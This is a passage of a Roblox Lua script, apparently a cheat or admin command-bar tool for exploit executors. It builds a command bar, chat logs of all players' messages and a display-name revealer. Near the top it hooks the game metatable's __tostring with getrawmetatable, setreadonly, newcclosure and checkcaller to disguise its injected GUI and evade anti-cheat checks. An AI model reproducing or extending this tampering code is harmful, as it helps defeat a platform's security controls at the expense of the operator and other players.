BottomRight = {Vector2.new(1, 1), Vector2.new(0, 0), "rbxassetid://2911852219"},
3195
}
3196
3197
cmdExample.Parent = nil
3198
chatExample.Parent = nil
3199
commandExample.Parent = nil
3200
resizeFrame.Parent = nil
3201
3202
local rPlayer = Players:FindFirstChildWhichIsA("Player")
3203
local coreGuiProtection = {}
3204
3205
pcall(function()
3206
for i, v in pairs(ScreenGui:GetDescendants()) do
3207
coreGuiProtection[v] = rPlayer.Name
3208
end
3209
ScreenGui.DescendantAdded:Connect(function(v)
3210
coreGuiProtection[v] = rPlayer.Name
3211
end)
3212
coreGuiProtection[ScreenGui] = rPlayer.Name
3213
3214
local meta = getrawmetatable(game)
3215
local tostr = meta.__tostring
3216
setreadonly(meta, false)
3217
meta.__tostring = newcclosure(function(t)
3218
if coreGuiProtection[t] and not checkcaller() then
3219
return coreGuiProtection[t]
3220
end
3221
return tostr(t)
3222
end)
3223
end)
3224
if not RunService:IsStudio() then
3225
local newGui = game:GetService("CoreGui"):FindFirstChildWhichIsA("ScreenGui")
3226
newGui.DescendantAdded:Connect(function(v)
3227
coreGuiProtection[v] = rPlayer.Name
3228
end)
3229
for i, v in pairs(ScreenGui:GetChildren()) do
3230
v.Parent = newGui
3231
end
3232
ScreenGui = newGui
3233
end
3234
3235
--[[ GUI FUNCTIONS ]]--
3236
gui = {}
3237
gui.txtSize = function(ui, x, y)
3238
local textService = game:GetService("TextService")
3239
return textService:GetTextSize(ui.Text, ui.TextSize, ui.Font, Vector2.new(x, y))
3240
end
3241
gui.commands = function()
3242
if not commandsFrame.Visible then
3243
commandsFrame.Visible = true
3244
commandsList.CanvasSize = UDim2.new(0, 0, 0, 0)
3245
end
3246
for i, v in pairs(commandsList:GetChildren()) do
3247
if v:IsA("TextLabel") then
3248
Destroy(v)
3249
end
3250
end
3251
local i = 0
3252
for cmdName, tbl in pairs(Commands) do
3253
local Cmd = commandExample:Clone()
3254
Cmd.Parent = commandsList
3255
Cmd.Name = cmdName
3256
Cmd.Text = " " .. tbl[2][1]
3257
Cmd.MouseEnter:Connect(function()
3258
description.Visible = true
3259
description.Text = tbl[2][2]
3260
end)
3261
Cmd.MouseLeave:Connect(function()
3262
if description.Text == tbl[2][2] then
3263
description.Visible = false
3264
description.Text = ""
3265
end
3266
end)
3267
i = i + 1
3268
end
3269
commandsList.CanvasSize = UDim2.new(0, 0, 0, i*20+10)
3270
commandsFrame.Position = UDim2.new(0.5, -283/2, 0.5, -260/2)
3271
end
3272
gui.chatlogs = function()
3273
if not chatLogsFrame.Visible then
3274
chatLogsFrame.Visible = true
3275
end
3276
chatLogsFrame.Position = UDim2.new(0.5, -283/2+5, 0.5, -260/2+5)
3277
end
3278
3279
gui.tween = function(obj, style, direction, duration, goal)
3280
local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle[style], Enum.EasingDirection[direction])
3281
local tween = TweenService:Create(obj, tweenInfo, goal)
3282
tween:Play()
3283
return tween
3284
end
3285
gui.mouseIn = function(guiObject, range)
3286
local pos1, pos2 = guiObject.AbsolutePosition, guiObject.AbsolutePosition + guiObject.AbsoluteSize
3287
local mX, mY = mouse.X, mouse.Y
3288
if mX > pos1.X-range and mX < pos2.X+range and mY > pos1.Y-range and mY < pos2.Y+range then
3289
return true
3290
end
3291
return false
3292
end
3293
gui.resizeable = function(ui, min, max)
3294
local rgui = resizeFrame:Clone()
3295
rgui.Parent = ui
3296
3297
local mode
3298
local UIPos
3299
local lastSize
3300
local lastPos = Vector2.new()
3301
3302
local function update(delta)
3303
local xy = resizeXY[(mode and mode.Name) or '']
3304
if not mode or not xy then return end
3305
local delta = (delta * xy[1]) or Vector2.new()
3306
local newSize = Vector2.new(lastSize.X + delta.X, lastSize.Y + delta.Y)
3307
newSize = Vector2.new(
3308
math.clamp(newSize.X, min.X, max.X),
3309
math.clamp(newSize.Y, min.Y, max.Y)
3310
)
3311
ui.Size = UDim2.new(0, newSize.X, 0, newSize.Y)
3312
ui.Position = UDim2.new(
3313
UIPos.X.Scale,
3314
UIPos.X.Offset + (-(newSize.X - lastSize.X) * xy[2]).X,
3315
UIPos.Y.Scale,
3316
UIPos.Y.Offset + (delta * xy[2]).Y
3317
)
3318
end
3319
3320
mouse.Move:Connect(function()
3321
update(Vector2.new(mouse.X, mouse.Y) - lastPos)
3322
end)
3323
3324
for _, button in pairs(rgui:GetChildren()) do
3325
local isIn = false
3326
button.InputBegan:Connect(function(input)
3327
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
3328
mode = button
3329
lastPos = Vector2.new(mouse.X, mouse.Y)
3330
lastSize = ui.AbsoluteSize
3331
UIPos = ui.Position
3332
end
3333
end)
3334
button.InputEnded:Connect(function(input)
3335
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
3336
mode = nil
3337
end
3338
end)
3339
button.MouseEnter:Connect(function()
3340
mouse.Icon = resizeXY[button.Name][3]
3341
end)
3342
button.MouseLeave:Connect(function()
3343
if mouse.Icon == resizeXY[button.Name][3] then
3344
mouse.Icon = ""
3345
end
3346
end)
3347
end
3348
end
3349
gui.draggable = function(ui, dragui)
3350
if not dragui then dragui = ui end
3351
local UserInputService = game:GetService("UserInputService")
3352
3353
local dragging
3354
local dragInput
3355
local dragStart
3356
local startPos
3357
3358
local function update(input)
3359
local delta = input.Position - dragStart
3360
ui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
3361
end
3362
3363
dragui.InputBegan:Connect(function(input)
3364
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
3365
dragging = true
3366
dragStart = input.Position
3367
startPos = ui.Position
3368
3369
input.Changed:Connect(function()
3370
if input.UserInputState == Enum.UserInputState.End then
3371
dragging = false
3372
end
3373
end)
3374
end
3375
end)
3376
3377
dragui.InputChanged:Connect(function(input)
3378
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
3379
dragInput = input
3380
end
3381
end)
3382
3383
UserInputService.InputChanged:Connect(function(input)
3384
if input == dragInput and dragging then
3385
update(input)
3386
end
3387
end)
3388
end
3389
gui.menuify = function(menu)
3390
local exit = menu:FindFirstChild("Exit", true)
3391
local mini = menu:FindFirstChild("Minimize", true)
3392
local minimized = false
3393
local sizeX, sizeY = Instance.new("IntValue", menu), Instance.new("IntValue", menu)
3394
mini.MouseButton1Click:Connect(function()
3395
minimized = not minimized
3396
if minimized then
3397
sizeX.Value = menu.Size.X.Offset
3398
sizeY.Value = menu.Size.Y.Offset
3399
gui.tween(menu, "Quart", "Out", 0.5, {Size = UDim2.new(0, 200, 0, 25)})
3400
else
3401
gui.tween(menu, "Quart", "Out", 0.5, {Size = UDim2.new(0, sizeX.Value, 0, sizeY.Value)})
3402
end
3403
end)
3404
exit.MouseButton1Click:Connect(function()
3405
menu.Visible = false
3406
end)
3407
gui.draggable(menu, menu.Topbar)
3408
menu.Visible = false
3409
end
3410
gui.barSelect = function(speed)
3411
centerBar.Visible = true
3412
gui.tween(centerBar, "Sine", "Out", speed or 0.25, {Size = UDim2.new(0, 250, 1, 15)})
3413
gui.tween(leftFill, "Quad", "Out", speed or 0.3, {Position = UDim2.new(0, 0, 0.5, 0)})
3414
gui.tween(rightFill, "Quad", "Out", speed or 0.3, {Position = UDim2.new(1, 0, 0.5, 0)})
3415
gui.loadCommands()
3416
end
3417
gui.barDeselect = function(speed)
3418
gui.tween(centerBar, "Sine", "Out", speed or 0.25, {Size = UDim2.new(0, 250, 0, 0)})
3419
gui.tween(leftFill, "Sine", "In", speed or 0.3, {Position = UDim2.new(-0.5, 100, 0.5, 0)})
3420
gui.tween(rightFill, "Sine", "In", speed or 0.3, {Position = UDim2.new(1.5, -100, 0.5, 0)})
3421
for i, v in pairs(cmdAutofill:GetChildren()) do
3422
if v:IsA("Frame") then
3423
wrap(function()
3424
wait(math.random(1, 200)/2000)
3425
gui.tween(v, "Back", "In", 0.35, {Size = UDim2.new(0, 0, 0, 25)})
3426
end)
3427
end
3428
end
3429
end
3430
gui.loadCommands = function()
3431
for i, v in pairs(cmdAutofill:GetChildren()) do
3432
if v.Name ~= "UIListLayout" then
3433
Destroy(v)
3434
end
3435
end
3436
local last = nil
3437
local i = 0
3438
for name, tbl in pairs(Commands) do
3439
local info = tbl[2]
3440
local btn = cmdExample:Clone()
3441
btn.Parent = cmdAutofill
3442
btn.Name = name
3443
btn.Input.Text = info[1]
3444
i = i + 1
3445
3446
local size = btn.Size
3447
btn.Size = UDim2.new(0, 0, 0, 25)
3448
btn.Size = size
3449
end
3450
end
3451
gui.searchCommands = function()
3452
local _1, _2, _3, _0 = {}, {}, {}, {}
3453
local str = cmdInput.Text:gmatch("[^ ;]+")()
3454
if str then str = str:lower() else str = "" end
3455
3456
for i, v in pairs(cmdAutofill:GetChildren()) do
3457
if v:IsA("Frame") then
3458
local found = Commands[v.Name]
3459
if Commands[v.Name] then
3460
if str ~= "" and v.Name:find(str) == 1 then
3461
v.LayoutOrder = 1
3462
table.insert(_1, v)
3463
end
3464
if str ~= "" and v.Name:find(str) and v.LayoutOrder ~= 1 then
3465
v.LayoutOrder = 2
3466
table.insert(_2, v)
3467
end
3468
if str == "" or v.Name:find(str) == nil then
3469
v.LayoutOrder = 3
3470
table.insert(_3, v)
3471
end
3472
end
3473
for CmdName, tbl in pairs(Aliases) do
3474
if Commands[v.Name][1] == tbl[1] then
3475
if str ~= "" and CmdName:find(str) == 1 then
3476
v.LayoutOrder = 1
3477
table.insert(_1, v)
3478
end
3479
if str ~= "" and CmdName:find(str) then
3480
v.LayoutOrder = 2
3481
table.insert(_2, v)
3482
end
3483
if str == "" or CmdName:find(str) == nil then
3484
v.LayoutOrder = 3
3485
table.insert(_3, v)
3486
end
3487
break
3488
end
3489
end
3490
end
3491
end
3492
3493
for i, v in pairs(_1) do if not lib.find(_0, v) then table.insert(_0, v) end end
3494
for i, v in pairs(_2) do if not lib.find(_0, v) then table.insert(_0, v) end end
3495
for i, v in pairs(_3) do if not lib.find(_0, v) then table.insert(_0, v) end end
3496
3497
local last
3498
for i, v in pairs(_0) do
3499
local n = (i ^ -0.5) * 125
3500
if last then
3501
local pos = last.Value.Value
3502
local newPos = UDim2.new(0.5, 0, 0, pos + 25 + 3)
3503
gui.tween(v, "Quint", "Out", 0.3, {
3504
Size = UDim2.new(0.5, n, 0, 25)
3505
})
3506
v.Value.Value = newPos.Y.Offset
3507
v.LayoutOrder = i
3508
else
3509
gui.tween(v, "Quint", "Out", 0.3, {
3510
Size = UDim2.new(0.5, n, 0, 25)
3511
})
3512
v.Value.Value = 0
3513
v.LayoutOrder = i
3514
end
3515
last = v
3516
end
3517
end
3518
3519
--[[ GUI FUNCTIONALITY ]]--
3520
mouse.KeyDown:Connect(function(k)
3521
if k:lower() == opt.prefix then
3522
gui.barSelect()
3523
cmdInput.Text = ''
3524
cmdInput:CaptureFocus()
3525
end
3526
end)
3527
3528
cmdInput.FocusLost:Connect(function(enterPressed)
3529
if enterPressed then
3530
wrap(function()
3531
lib.parseCommand(opt.prefix .. cmdInput.Text)
3532
end)
3533
end
3534
gui.barDeselect()
3535
end)
3536
3537
cmdInput.Changed:Connect(function(p)
3538
if p ~= "Text" then return end
3539
gui.searchCommands()
3540
end)
3541
3542
gui.barDeselect(0)
3543
cmdBar.Visible = true
3544
gui.menuify(chatLogsFrame)
3545
gui.menuify(commandsFrame)
3546
gui.resizeable(chatLogsFrame, Vector2.new(173,58), Vector2.new(1000,1000))
3547
gui.resizeable(commandsFrame, Vector2.new(184,84), Vector2.new(1000,1000))
3548
3549
commandsFilter.Changed:Connect(function(p)
3550
if p ~= "Text" then return end
3551
for i, v in pairs(commandsList:GetChildren()) do
3552
if v:IsA("TextLabel") then
3553
if v.Name:find(commandsFilter.Text:lower()) and v.Name:find(commandsFilter.Text:lower()) <= 2 then
3554
v.Visible = true
3555
else
3556
v.Visible = false
3557
end
3558
end
3559
end
3560
end)
3561
3562
local function bindToChat(plr, msg)
3563
local chatMsg = chatExample:Clone()
3564
for i, v in pairs(chatLogs:GetChildren()) do
3565
if v:IsA("TextLabel") then
3566
v.LayoutOrder = v.LayoutOrder + 1
3567
end
3568
end
3569
chatMsg.Parent = chatLogs
3570
chatMsg.Text = ("[%s]: %s"):format(plr.Name, msg)
3571
3572
local txtSize = gui.txtSize(chatMsg, chatMsg.AbsoluteSize.X, 100)
3573
chatMsg.Size = UDim2.new(1, -5, 0, txtSize.Y)
3574
end
3575
3576
for i, plr in pairs(Players:GetPlayers()) do
3577
plr.Chatted:Connect(function(msg)
3578
bindToChat(plr, msg)
3579
end)
3580
end
3581
Players.PlayerAdded:Connect(function(plr)
3582
plr.Chatted:Connect(function(msg)
3583
bindToChat(plr, msg)
3584
end)
3585
end)
3586
3587
mouse.Move:Connect(function()
3588
description.Position = UDim2.new(0, mouse.X, 0, mouse.Y)
3589
local size = gui.txtSize(description, 200, 100)
3590
description.Size = UDim2.new(0, size.X, 0, size.Y)
3591
end)
3592
3593
RunService.Stepped:Connect(function()
3594
chatLogs.CanvasSize = UDim2.new(0, 0, 0, chatLogs.UIListLayout.AbsoluteContentSize.Y)
3595
commandsList.CanvasSize = UDim2.new(0, 0, 0, commandsList.UIListLayout.AbsoluteContentSize.Y)
3596
end)
3597
3598
function Destroy(guiObject)
3599
if not pcall(function()guiObject.Parent = game:GetService("CoreGui")end) then
3600
guiObject.Parent = nil
3601
end
3602
end
3603
wait(.5)
3604
-- Gui to Lua
3605
-- Version: 3.2
3606
3607
-- Instances:
3608
3609
local ScreenGui55 = Instance.new("ScreenGui")
3610
local Frame = Instance.new("Frame")
3611
local UIGradient = Instance.new("UIGradient")
3612
local ImageLabel = Instance.new("ImageLabel")
3613
local UICorner = Instance.new("UICorner")
3614
3615
--Properties:
3616
3617
ScreenGui55.Name = "ScreenGui55"
3618
ScreenGui55.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
3619
ScreenGui55.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
3620
3621
Frame.Parent = ScreenGui55
3622
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
3623
Frame.BackgroundTransparency = 0.170
3624
Frame.BorderSizePixel = 0
3625
Frame.Position = UDim2.new(0.423606783, 0, 0, 0)
3626
Frame.Size = UDim2.new(0, 263, 0, 60)
3627
3628
UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(10, 22, 41)), ColorSequenceKeypoint.new(0.26, Color3.fromRGB(17, 28, 44)), ColorSequenceKeypoint.new(0.51, Color3.fromRGB(17, 30, 47)), ColorSequenceKeypoint.new(0.76, Color3.fromRGB(21, 43, 53)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(14, 29, 47))}
3629
UIGradient.Offset = Vector2.new(-0.014400024, 0.0150001524)
3630
UIGradient.Transparency = NumberSequence.new{NumberSequenceKeypoint.new(0.00, 0.00), NumberSequenceKeypoint.new(0.48, 0.00), NumberSequenceKeypoint.new(1.00, 0.00)}
3631
UIGradient.Parent = Frame
3632
3633
ImageLabel.Parent = Frame
3634
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
3635
ImageLabel.BackgroundTransparency = 1.000
3636
ImageLabel.Position = UDim2.new(0.108166613, 0, 0.150000006, 0)
3637
ImageLabel.Size = UDim2.new(0, 206, 0, 42)
3638
ImageLabel.Image = "http://www.roblox.com/asset/?id=12094592378"
3639
3640
UICorner.Parent = Frame
3641
ScreenGui55.ResetOnSpawn = false
3642
wait(1)
3643
local Players = game:FindService("Players")
3644
3645
require(game:GetService("Chat"):WaitForChild("ClientChatModules").ChatSettings).PlayerDisplayNamesEnabled = false
3646
3647
local function rename(character,name)
3648
repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid")
3649
character:FindFirstChildWhichIsA("Humanoid").DisplayName = name
3650
end
3651
3652
for i,v in next, Players:GetPlayers() do
3653
if v.Character then
3654
v.DisplayName = v.Name
3655
rename(v.Character,v.Name)
3656
end
3657
v.CharacterAdded:Connect(function(char)
3658
rename(char,v.Name)
3659
end)
3660
end
3661
3662
Players.PlayerAdded:Connect(function(plr)
3663
plr.DisplayName = plr.Name
3664
plr.CharacterAdded:Connect(function(char)
3665
rename(char,plr.Name)
3666
end)
3667
end)